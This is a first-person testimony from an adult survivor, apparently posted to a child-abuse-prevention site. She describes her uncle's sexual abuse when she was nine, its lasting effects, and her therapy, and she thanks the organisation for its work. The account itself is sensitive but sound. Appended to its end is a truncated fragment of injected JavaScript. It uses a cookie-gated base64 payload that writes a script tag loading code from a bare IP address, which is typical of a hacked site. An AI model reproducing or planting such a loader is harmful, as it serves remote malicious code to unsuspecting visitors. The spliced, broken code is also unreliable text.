I was an extremely shy and lonely nine year old child. I was taught not to disobey adults; I was told by my parents that I was a perfect daughter, very well-behaved because I never complained, was very polite with everyone, used to play all by myself, quiet under the kitchen table (my favourite spot to play). They raised the ultimate people-pleaser, the perfect victim for a predator, who happened to be my uncle.
My younger brother was born with several health problems; my father emigrated to earn enough money to cover the health expenses. My mother was depressed and overwhelmed with the responsibility of raising a young girl and a sick baby. After the perfect victim, the perfect environment was set.
My uncle took care of me at that time, as my baby-sitter. First, the uncomfortable questions, if I already had my period, if my body was changing… He used to say “when you have your period, you’ll want to be with boys, so I’m just teaching you.” The porn magazines and movies were meant to teach anatomy, then, very quickly he started touching my breasts, my genitals, and so on, and so on, always increasing the gravity of the attacks, for almost two years.
I learned almost instantly to withdraw during the attacks. To be absent minded, to almost literally “not-be-there”. I did not realize at the time, that I was training my brain to avoid intimacy at all costs, something that haunts me till now. Because of his words, which initiated almost all of the attacks, I kept repeating to myself “I’ll never want to be with boys in my life, never!”, so I refused human nature itself – I am now 36 years old. I never had a boyfriend.
Nobody in my family knows of this. I told my best friend my “horrible secret” at the age of 21 – the first time I talked about it was more than 10 years after it started. I still feel the guilt and the shame, the humiliations, besides all logical reasoning – I KNOW that it wasn’t my fault, but I still FEEL differently. The depth of the full effects is still unknown to me. I’ve been in therapy for two years now and slowly uncovering the layers.
If I knew how to defend myself, nothing would’ve happened. If I felt I could speak up, I wouldn’t be struggling now with my phantoms of isolation. That’s why I think your work is so important. I believe most of the child sexual abuse is preventable. Educating children without scaring them is the key to end this pandemic tragedy. Thank you for letting me share my story and keep up the excellent work! ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘